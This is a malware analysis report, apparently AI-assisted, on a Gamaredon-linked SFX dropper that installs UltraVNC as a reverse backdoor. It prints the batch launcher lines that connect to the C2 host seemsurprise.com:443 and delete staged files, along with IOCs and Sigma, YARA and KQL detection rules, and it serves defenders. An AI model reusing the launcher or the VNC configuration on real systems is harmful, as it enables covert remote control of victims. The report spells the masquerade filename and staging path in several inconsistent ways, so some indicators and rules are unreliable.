

Lost Boys Cyber

Gamaredon / Shuckworm UltraVNC SFX Backdoor

Full Malware Analysis Report

Classification	TLP:CLEAR
Published	2026-06-05
Version	1.0
Author	Lost Boys Cyber
Report Type	Malware Analysis

TLP:CLEAR | Lost Boys Cyber | Gamaredon UltraVNC SFX Backdoor - Malware Analysis Report

Published: 2026-06-05 | TLP:CLEAR | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, IOCs, detection rules, hunting queries, attribution assessments, and recommendations must be independently reviewed and validated by a qualified security professional before operational use.

Table of Contents

1. Executive Summary
2. Sample Metadata
3. Source Review and Confidence
4. Payload Variants and Delivery
5. Infection Chain Analysis
6. Technical Analysis
7. Indicators of Compromise
8. MITRE ATT&CK Mapping
9. Detection Engineering
10. Threat Hunting
11. Triage and Incident Response
12. Validation and Emulation
13. Recommendations
14. References and Refresh Notes

1. Executive Summary

Lost Boys Cyber analyzed the password-protected archive

0911c20a123b21c077a12b43914ff2f8a1bccf5a983d0561004cf86a27b5154a.7z. The outer 7z archive contains a ZIP file whose SHA256 matches the provided filename. That ZIP contains a Russian-language executable lure named Приказ_МО_377.exe. Static analysis shows this executable is a 7-Zip SFX installer that extracts a decoy Russian Ministry of Defense-themed Word document and a bundled UltraVNC/WinVNC payload.

The strongest conclusion is that this is a malicious remote-access package, not a standalone ransomware/wiper sample. The launcher script stages files under %APPDATA%\OfficeExel, opens a decoy document, renames the embedded VNC server to wuaucit.exe, and launches it with -autoreconnect ... -connect seemsurprise.com:443. This provides attacker-operated remote desktop access through a legitimate remote administration tool abused for command-and-control.

OSINT enrichment links the observed hash and C2 domain to Gamaredon / Primitive Bear / Shuckworm / UAC-0010 infrastructure. The public Maltrail Gamaredon trail references CERT-UA UAC-0010, MITRE ATT&CK group G0047, and lists both seemsurprise.com and this sample hash in Gamaredon-related context. Hybrid Analysis search results also list the payload SHA256 as malicious. Confidence in the Gamaredon association is medium-high based on public IOC clustering and direct overlap with the observed C2; confidence in the sample being malicious is high based on static behavior and sandbox-observed DNS.

2. Sample Metadata

Item	Value
Original archive	`/home/lost0x01/Downloads/0911c20a123b21c077a12b43914ff2f8a1bccf5a983d0561004cf86a27b5154a.7z`
Archive password	`infected`
Outer archive SHA256	`95b20f592db58e1a5ccf32ab78fd955f34054f101c3d902984d53271e9648569`
Inner ZIP filename	`0911c20a123b21c077a12b43914ff2f8a1bccf5a983d0561004cf86a27b5154a`
Inner ZIP MD5 / SHA1 / SHA256	`17c9de64ec60e32c912ae67c2e69b04e` / `c593f682bf7be41b3154ad062f0433138a167b74` / `0911c20a123b21c077a12b43914ff2f8a1bccf5a983d0561004cf86a27b5154a`
Executable filename	`Приказ_МО_377.exe`
Executable MD5 / SHA1 / SHA256	`c93c06d0b9d8b9a4502bb341bb16e0c8` / `f08098f46f1fd678b31c0d6fd97b511e1d4d71b2` / `283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3`
Executable type	PE32 Windows GUI executable, Intel i386, 7-Zip SFX with embedded 7z payload
Executable compile timestamp	PE header timestamp: 2012-12-30 08:49:49 UTC; embedded archive item timestamps: 2021-09-16

Primary payload	`F7OpO2O9O1OwOSOQ.ini`, copied to `wuaclt.exe`; SHA256 `91d6a11db693ca6975fa3d14a50a8868a30e97b99b52183af82c492c15e724e9`
Sandbox platform	Local TRASHcan / RAICoon VirtualBox sandbox (`win-malware-lab`)
Sandbox run	`/home/lost0x01/internal-secops-portal/data/sandbox-runs/2026-06-05_025555_283937afa83a`
Analysis date	2026-06-05 UTC

3. Source Review and Confidence

Source	Evidence	Assessment
Local archive extraction	7z successfully extracted a ZIP and `Приказ_MO_377.exe`; file hashes were calculated locally.	High confidence
Static SFX inspection	7z detected an embedded 7z archive at PE offset 288885 containing `19237.cmd`, `77.docx`, `UltraVNC.ini`, VNC executable, RC4 plugin, and key/config-like files.	High confidence
Static script review	`19237.cmd` contains explicit C2 host `seemsurprise.com`, port `443`, `-autoreconnect`, `-connect`, host/user/MAC-based ID construction, and deletion of staging files.	High confidence
Dynamic sandbox	TRASHcan observed DNS query to `seemsurprise.com`; no Suricata alert and no non-sandbox HTTP payload were observed in the limited run.	Medium-high confidence
OSINT	Maltrail Gamaredon IOC list references CERT-UA UAC-0010, MITRE G0047, `seemsurprise.com`, and the exact payload SHA256. Hybrid Analysis search result lists the sample as malicious.	Medium-high confidence
Attribution	Gamaredon/Shuckworm association is supported by public IOC overlap but not by source-code-level actor proof.	Medium confidence

4. Payload Variants and Delivery

The delivered executable is named in Russian as Приказ_MO_377.exe, translating approximately to “Order of the Ministry of Defense 377.” The embedded decoy document (77.docx) contains Russian-language military administrative content referring to a draft order by the head of the 11th Military Automobile Inspection of the Western Military District and payment/bonus language for military personnel. This lure theme is consistent with targeting military or government-adjacent recipients.

Embedded 7-Zip SFX configuration strings:

- `InstallPath="%APPDATA%\OfficeExel`
- `RunProgram="hidcon:19237.cmd`

Embedded SFX payload inventory:

Filename	Type	SHA256	Role
----------	------	--------	------

`19237.cmd`	DOS batch script	`4e7f0fc56578c940d41a33ecf253015072dac43a08403970ea346d21498194c8`	Launcher/orchestrator
`77.docx`	Word document	`d6ccbb49ecc4725336928ff64d0b4e662805e55d19e79473cf900f685431519a`	Decoy lure
`F7OpO2O9O1OwOSOQ.ini`	PE32 executable	`91d6a11db693ca6975fa3d14a50a8868a30e97b99b52183af82c492c15e724e9`	UltraVNC/WinVNC payload renamed to `wuauc.lt.exe`
`UltraVNC.ini`	INI configuration	`1e7728efa610aeeee579c5ba26abd438a6002690e593902af9c0d53ea36debf0`	VNC server configuration with password and disabled tray icon
`MSRC4Plugin_for_sc.dsm`	PE32 DLL	`d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385`	UltraVNC RC4 DSM encryption plugin
`rc4.key`	Data	`3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b`	RC4 key material
`*.jpg` pseudo-image files	ASCII/data	see artifact hashes file	Likely support/config/archive data; file command did not identify valid JPEGs

5. Infection Chain Analysis

Observed and statically reconstructed chain:

```
0911c20a...7z
-> inner ZIP 0911c20a...
-> Приказ_М0_377.exe (7-Zip SFX)
-> extract to %APPDATA%\OfficeExcel
-> run hidden 19237.cmd
-> copy/open decoy 77.docx one directory above staging folder
-> collect MAC address, COMPUTERNAME, and user SID via WMIC
-> copy F7OpO2O9O1OwOSOQ.ini to wuauc.lt.exe
-> taskkill /f /im wuauc.lt.exe
-> start wuauc.lt.exe
```

```
-> start wuauc.lt.exe -autoreconnect -id:<MAC>_<HOST>_<SID> -connect seemsurprise.com:443
-> delete files in current staging directory
```

Key launcher lines:

```
set UUpip4pWpZp5plp1=seemsurprise.com
set ugH0HJHXHCHgHWH6=connect
set aaEYEiEAExEeE5Ea=443
copy /y "F70p0209010w0S0Q.ini" "%Az0B0J0v0Q0w0H0X%.exe"
start "" "%CD%\%Az0B0J0v0Q0w0H0X%.exe" -autore%ugH0HJHXHCHgHWH6% -id:
%X0DxDnDAD0DTHDB%_%COMPUTERNAME%_%E5aKa7a6aHa1azaX% -%ugH0HJHXHCHgHWH6% %UUpip4pWpZp5plp1%:
%aaEYEiEAExEeE5Ea%
del /f /q "%CD%\*.*)"
```

6. Technical Analysis

6.1 Static Findings

The executable is a PE32 7-Zip SFX wrapper with a 7z archive appended at offset 288885. The wrapper is configured to extract into a misspelled Microsoft Office-like directory %APPDATA%\OfficeExel and run the batch script hidden via hidcon:.

Suspicious wrapper and SFX traits:

- Uses a Russian military-themed filename and decoy document.
- Hides execution of `19237.cmd` after extraction.
- Drops remote-administration tooling rather than a custom implant.
- Renames the payload to `wuauc.lt.exe`, a Windows Update client-like name, to blend into host process listings.
- Deletes staged files after launching the VNC connection.

The primary payload F7Op0209010w0S0Q.ini is not an INI file despite its extension; it is a PE32 Windows executable. Strings identify it as UltraVNC/WinVNC and include -connect, -autoreconnect, Software\UltraVNC, WinVNC_Win32_Instance_Mutex, UltraVNC.ini, passwd, FileTransferEnabled, and VNC/RFB protocol strings.

6.2 UltraVNC Configuration

UltraVNC.ini enables remote-control functionality:

- `FileTransferEnabled=1`
- `FTUserImpersonation=1`
- `InputsEnabled=1`
- `AllowShutdown=1`
- `AllowProperties=1`
- `DisableTrayIcon=1`
- `MSLogonRequired=0`
- `SocketConnect=0`, `HTTPConnect=0` for listener modes, while the script uses outgoing `-connect` mode.
- `passwd=A7F8FC867315B7FF5F`

The DSM plugin MSRC4Plugin_for_sc.dsm contains strings for MSRC4Plugin, rc4.key, CryptEncrypt, and key-generation/import routines, suggesting VNC traffic may use the included RC4 DSM plugin when configured by the operator.

6.3 Dynamic Sandbox Findings

TRASHcan/RAIcoon execution of the actual PE sample produced these key artifacts:

- Sandbox run path: `/home/lost0x01/internal-secops-portal/data/sandbox-runs/2026-06-05\_025555\_283937afa83a`
- Sample SHA256: `283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3`
- PCAP: `capture.pcapng`, 391 packets, 69.068333 seconds, SHA256
`e81ead1f9b29e8089716ae32f3f0f8ac49a8b03c9e0f49e7f2e866702d6424ab`
- Suspicious domain observed: `seemsurprise.com`
- DNS queries observed: `config.edge.skype.com`, `ctldl.windowsupdate.com`, `fs.microsoft.com`,
`seemsurprise.com`, `www.msftconnecttest.com`
- TLS SNI observed: Microsoft/Edge telemetry domains only in the summarized output.
- Suricata alerts: none observed.
- HTTP requests in summary were dominated by Windows connectivity and certificate-update traffic.

The sandbox also flagged an autorun persistence value pointing to a user-writable OneDrive path. That value appears consistent with the baseline lab profile rather than this sample, because the sample script statically uses a hidden SFX run and then launches VNC directly; no sample-specific autorun registry key was recovered from guest telemetry.

6.4 Capability Assessment

Capability	Evidence	Confidence
Decoy document display	`19237.cmd` copies and opens `77.docx`.	High
Remote desktop/backdoor	UltraVNC payload, `-autoreconnect`, `-connect seemsurprise.com:443`, VNC config.	High
Host identification	Script builds ID from MAC, COMPUTERNAME, and user SID.	High
Masquerading	Payload copied to `wuauct.exe`; install folder resembles Office/Excel.	High
Encrypted/plug-in VNC support	Included `MSRC4Plugin_for_sc.dsm` and `rc4.key`.	Medium-high
File transfer	`FileTransferEnabled=1` in `UltraVNC.ini`.	High
Persistence	No sample-specific persistence was confirmed; VNC autoreconnect runs during initial execution.	Low-medium
Credential theft / ransomware / wiper	Not observed in static launcher or sandbox behavior.	Low

7. Indicators of Compromise

7.1 Network IOCs

IOC	Type	Context	Confidence
`seemsurprise.com`	Domain	Hardcoded C2 in `19237.cmd`; DNS observed in TRASHcan; listed in Maltrail Gamaredon trail.	High
`seemsurprise.com:443`	Host:port	UltraVNC autoreconnect destination.	High
`moscowguarante.com`	Domain	OSINT pivot listed adjacent to the sample hash and `seemsurprise.com` in Maltrail Gamaredon trail. Not observed locally.	Medium
`0.0.0.0`	Current DNS answer	Host resolver currently returns 0.0.0.0 for `seemsurprise.com`, suggesting sinkhole/blocklist/parked or resolver policy behavior. Do not treat as malicious destination IP.	Low

7.2 Host IOCs

IOC	Type	Context
`%APPDATA%\OfficeExel`	Directory	SFX extraction path
`19237.cmd`	File	Launcher script
`77.docx`	File	Decoy document

`F7OpO2O9O1OwOSOQ.ini`	File	Embedded UltraVNC payload before rename
`wuauctl.exe`	File/process	Renamed UltraVNC/WinVNC executable
`UltraVNC.ini`	File	VNC configuration
`MSRC4Plugin_for_sc.dsm`	File	RC4 DSM plugin
`rc4.key`	File	RC4 key material
`WinVNC_Win32_Instance_Mutex`	Mutex/string	WinVNC mutex found in payload strings
`Software\UltraVNC` / `Software\ORL\WinVNC3`	Registry paths/strings	VNC-related config keys in payload strings

7.3 File Hash IOCs

SHA256	Description
`95b20f592db58e1a5ccf32ab78fd955f34054f101c3d902984d53271e9648569`	Outer 7z archive
`0911c20a123b21c077a12b43914ff2f8a1bccf5a983d0561004cf86a27b5154a`	Inner ZIP
`283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3`	`Приказ_MO_377.exe` SFX
`4e7f0fc56578c940d41a33ecf253015072dac43a08403970ea346d21498194c8`	`19237.cmd` launcher
`d6ccbb49ecc4725336928ff64d0b4e662805e55d19e79473cf900f685431519a`	`77.docx` decoy
`91d6a11db693ca6975fa3d14a50a8868a30e97b99b52183af82c492c15e724e9`	UltraVNC payload copied to `wuauctl.exe`
`1e7728efa610aeeee579c5ba26abd438a6002690e593902af9c0d53ea36debf0`	`UltraVNC.ini`
`d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385`	`MSRC4Plugin_for_sc.dsm`
`3225058afbfd79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b`	`rc4.key`

8. MITRE ATT&CK Mapping

Tactic	Technique	Evidence
Initial Access	T1566.001 - Spearphishing Attachment	Russian military-themed executable and decoy document are consistent with attachment-based delivery. Delivery vector itself was not observed.
Execution	T1204.002 - User Execution: Malicious File	User must execute `Приказ_MO_377.exe`; SFX launches hidden script.
Execution	T1059.003 - Windows Command Shell	`19237.cmd` orchestrates execution and cleanup.
Defense Evasion	T1036.005 - Masquerading: Match Legitimate Name or Location	UltraVNC executable copied to `wuauctl.exe`; install folder resembles Office/Excel.

Defense Evasion	T1070.004 - File Deletion	Script deletes files in the staging directory after launching payload.
Discovery	T1016 - System Network Configuration Discovery	Script uses WMIC to collect MAC address.
Discovery	T1033 - System Owner/User Discovery	Script queries user SID with WMIC.
Command and Control	T1219 - Remote Access Software	UltraVNC/WinVNC used as the backdoor/control channel.
Command and Control	T1071.001 - Web Protocols / T1572 - Protocol Tunneling	Outbound VNC connection uses port 443 to `seemsurprise.com`; protocol is VNC/RFB rather than confirmed HTTPS.
Exfiltration	T1041 - Exfiltration Over C2 Channel	Potential file-transfer channel via UltraVNC; not observed in sandbox.
Resource Development / Infrastructure	G0047 - Gamaredon Group	OSINT trail maps `seemsurprise.com` and the sample hash to Gamaredon/UAC-0010 context.

9. Detection Engineering

Generated artifacts are saved under:

- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/rule.yar`
- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/enhanced\_gamaredon\_ultravnc.yar`
- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/sigma\_dns.yml`
- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/sigma\_behavior.yml`
- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/sigma\_ultravnc\_autoreconnect\_seemsurprise.yml`
- `/home/lost0x01/Downloads/malware\_report\_0911c20a/report/mde\_hunts\_ultravnc\_gamaredon.kql`

9.1 Detection Hypotheses

1. If the sample executes successfully, Windows process telemetry should show an UltraVNC/WinVNC payload, masquerading as wuaucvt.exe, launched with -autoreconnect, -id:, and -connect seemsurprise.com:443.
2. If the sample stages correctly, file telemetry should show files under %APPDATA%\OfficeExcel, including 19237.cmd, UltraVNC.ini, rc4.key, and a renamed VNC executable.
3. If network control succeeds or is attempted, DNS telemetry should show a lookup for seemsurprise.com followed by outbound connection attempts to port 443.
4. If operators reuse the toolset without this exact domain, command-line detection for UltraVNC -autoreconnect plus an external -connect destination remains useful.

9.2 Sigma - Process Creation

```
title: UltraVNC AutoReconnect To Suspicious External Host
id: c5a39789-3757-44c3-876e-e77d94e0352f
status: experimental
description: Detects UltraVNC/WinVNC launched in autoreconnect mode to the observed Gamaredon/Shuckworm C2 host.
references:
  - local-sandbox-run:283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3
  - https://attack.mitre.org/groups/G0047/
author: Lost Boys Cyber
date: 2026-06-05
tags:
  - attack.command-and-control
  - attack.t1219
  - attack.t1071
  - attack.g0047
logsource:
  product: windows
  category: process_creation
detection:
  selection_cmd:
    CommandLine|contains|all:
      - '-autoreconnect'
      - '-connect'
  selection_domain:
    CommandLine|contains: 'seemsurprise.com'
  selection_names:
    Image|endswith:
      - '\\winvnc.exe'
      - '\\wuauclt.exe'
  condition: selection_cmd and selection_domain and selection_names
falsepositives:
  - Authorized remote support tooling using UltraVNC autoreconnect; validate destination and change ticket.
level: high
```

9.3 YARA - Enhanced Static Cluster Rule

```
rule Gamaredon_UltraVNC_SFX_Installer_283937afa83a
{
  meta:
    description = "Detects the Gamaredon/Shuckworm UltraVNC SFX installer analyzed by Lost Boys Cyber"
    author = "Lost Boys Cyber"
    date = "2026-06-05"
    sample_sha256 = "283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3"
    payload_sha256 = "91d6a11db693ca6975fa3d14a50a8868a30e97b99b52183af82c492c15e724e9"
    reference = "local TRASHcan sandbox run 2026-06-05_025555_283937afa83a"
  strings:
    $sfx1 = "7-Zip SFX" ascii
    $sfx2 = "RunProgram=\"hidcon:19237.cmd\"" ascii
    $path = "InstallPath=\"%APPDATA%\\OfficeExel\"" ascii
    $cmd1 = "seemsurprise.com" ascii
    $cmd2 = "-autoreconnect" ascii
    $cmd3 = "-connect" ascii
    $vnc1 = "UltraVNC" ascii wide
}
```

```

    $vnc2 = "WinVNC_Win32_Instance_Mutex" ascii
    $vnc3 = "Software\\UltraVNC" ascii wide
    $dsm1 = "MSRC4Plugin" ascii
    $dsm2 = "rc4.key" ascii
    condition:
        uint16(0) == 0x5A4D and
        ($sfx1 and $sfx2 and $path) and
        ($cmd1 and $cmd2 and $cmd3) and
        2 of ($vnc*) and
        any of ($dsm*)
}

rule UltraVNC_Misused_AutoReconnect_Command_SeemSurprise
{
    meta:
        description = "Detects command/script artifacts that launch UltraVNC in autoreconnect mode to seemsurprise.com"
        author = "Lost Boys Cyber"
        date = "2026-06-05"
        confidence = "high for this cluster; tune if used in broad repositories containing malware configs"
    strings:
        $domain = "seemsurprise.com" ascii wide nocase
        $auto = "-autoreconnect" ascii wide nocase
        $connect = "-connect" ascii wide nocase
        $id = "-id:" ascii wide nocase
        $wuaucLt = "wuaucLt.exe" ascii wide nocase
    condition:
        4 of them
}

```

9.4 Tuning Notes

- UltraVNC is a legitimate tool; detections should treat `-autoreconnect` to unapproved external hosts as higher signal than the presence of VNC alone.
- `wuaucLt.exe` is also a legitimate Windows name; focus on image path, signer, hash, command line, and parent process.
- The domain IOC has high confidence for this case but may be expired, sinkholed, or reassigned. Prefer watchlisting plus context-aware alerting over blind blocking if resolver state is unclear.

10. Threat Hunting

Recommended MDE/Sentinel queries are saved in `mde_hunts_ultravnc_gamaredon.kql`.

Primary hunts:

```

// Microsoft Defender XDR / Sentinel hunting: UltraVNC autoreconnect to observed C2
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has_all ("-autoreconnect", "-connect")
| where ProcessCommandLine has "seemsurprise.com"
    or FileName in~ ("wuaucLt.exe", "winvnc.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath,

```

```

ProcessCommandLine, SHA256, AccountName
| order by Timestamp desc

// DNS hunting for observed domain and related historical Gamaredon pivot
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl in~ ("seemsurprise.com", "moscowguarante.com")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort,
Protocol, ActionType
| order by Timestamp desc

// Persistence staging path from SFX config
DeviceFileEvents
| where Timestamp > ago(30d)
| where FolderPath has_any (@"\AppData\Roaming\OfficeExel", @"\AppData\OfficeExel")
    or FileName in~ ("19237.cmd", "UltraVNC.ini", "rc4.key", "MSRC4Plugin_for_sc.dsm")
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256,
InitiatingProcessCommandLine
| order by Timestamp desc

```

Additional scoping actions:

- Search EDR for `283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3` and `91d6a11db693ca6975fa3d14a50a8868a30e97b99b52183af82c492c15e724e9`.
- Search DNS/proxy logs for `seemsurprise.com` and adjacent OSINT pivot `moscowguarante.com`.
- Search for process command lines containing both `-autoreconnect` and `-connect`.
- Search for suspicious VNC config files outside standard IT-managed installation paths.
- Identify hosts where `wuauclt.exe` is running outside `%SystemRoot%\System32` or without Microsoft signature.

11. Triage and Incident Response

If any indicator is found in an environment:

1. Isolate affected endpoint(s) from the network if active VNC sessions or outbound connections are present.
2. Preserve volatile evidence first: running process list, command lines, network connections, loaded modules, and memory capture if available.
3. Collect %APPDATA%\OfficeExel, the executed SFX, 77.docx, UltraVNC.ini, rc4.key, and the renamed wuauclt.exe for forensics.
4. Scope for lateral movement and hands-on-keyboard activity because VNC provides interactive access, not just beaconing.
5. Rotate credentials for affected users, especially if VNC was active while privileged sessions were open.
6. Review file-transfer logs and endpoint file access for data staging or exfiltration.

7. Add network watchlist entries for the C2 domain and related Gamaredon infrastructure, but verify current ownership/resolution before production blocking.

12. Validation and Emulation

Performed validation:

- Extracted outer 7z using password `infected`.
- Extracted inner ZIP and verified executable hash
`283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3`.
- Detonated the actual executable in local TRASHcan/RAIccoon sandbox for 120 seconds.
- Confirmed DNS lookup for `seemsurprise.com` in sandbox summary.
- Extracted SFX payloads and reviewed `19237.cmd`, `UltraVNC.ini`, VNC payload strings, DSM plugin strings, and decoy document text.
- Queried OSINT via web search, direct curl, Maltrail raw IOC source, DNS resolution, URLHaus, and MalwareBazaar. MalwareBazaar API returned `Unauthorized`; URLHaus host page fetch did not return usable content in this environment.

Suggested validation before deployment:

- Test Sigma rules with benign UltraVNC installations in the customer environment.
- Add allowlists for approved remote support jump hosts and IT-managed VNC paths.
- Run the YARA rules against a clean software repository to measure false positives.
- If possible, replay `capture.pcapng` through network detection tooling to validate DNS and port-443 connection coverage.

13. Recommendations

Priority actions:

1. Block or monitor seemsurprise.com at DNS/proxy controls after validating current resolver behavior.
2. Alert on -autoreconnect and -connect usage by winvnc.exe, wuaucit.exe, or unsigned/unapproved binaries.
3. Hunt for %APPDATA%\OfficeExcel and suspicious VNC files in user-writable directories.
4. Treat any positive endpoint as potential interactive remote access and scope for manual operator activity.
5. Add the enhanced YARA rule to malware triage and attachment scanning pipelines.
6. Add the DNS and process Sigma rules to SIEM with local allowlist tuning.

7. Educate analysts that legitimate RMM/VNC tooling can be used as malware C2; command-line and destination context are critical.

14. References and Refresh Notes

Local evidence:

- Sandbox report: ``/home/lost0x01/internal-secops-portal/data/sandbox-runs/2026-06-05_025555_283937afa83a/analysis.md``
- Sandbox summary: ``/home/lost0x01/internal-secops-portal/data/sandbox-runs/2026-06-05_025555_283937afa83a/summary.json``
- Behavior summary: ``/home/lost0x01/internal-secops-portal/data/sandbox-runs/2026-06-05_025555_283937afa83a/behavior_summary.json``
- Static triage files: ``/home/lost0x01/Downloads/malware_report_0911c20a/``

Public sources checked:

- MITRE ATT&CK G0047 Gamaredon Group: ``https://attack.mitre.org/groups/G0047/``
- Maltrail Gamaredon trail: ``https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/apt_gamaredon.txt``
- Palo Alto Unit 42 Gamaredon/Primitive Bear Ukraine update: ``https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/``
- Microsoft UltraVNC remote access software encyclopedia page: ``https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=RemoteAccess:Win32/UltraVNC``
- Hybrid Analysis sample page/search result: ``https://hybrid-analysis.com/sample/283937afa83ac2bfc38f8bb3478704ae65f372b52809def5782a697d1dbf4fd3``
- URLHaus host lookup attempted: ``https://urlhaus.abuse.ch/host/seemsurprise.com/``

Refresh note: Domain infrastructure for Gamaredon campaigns changes frequently. Refresh DNS, passive DNS, VirusTotal, URLHaus, and MISP/OpenCTI enrichment before using domain-level block decisions in a client production environment.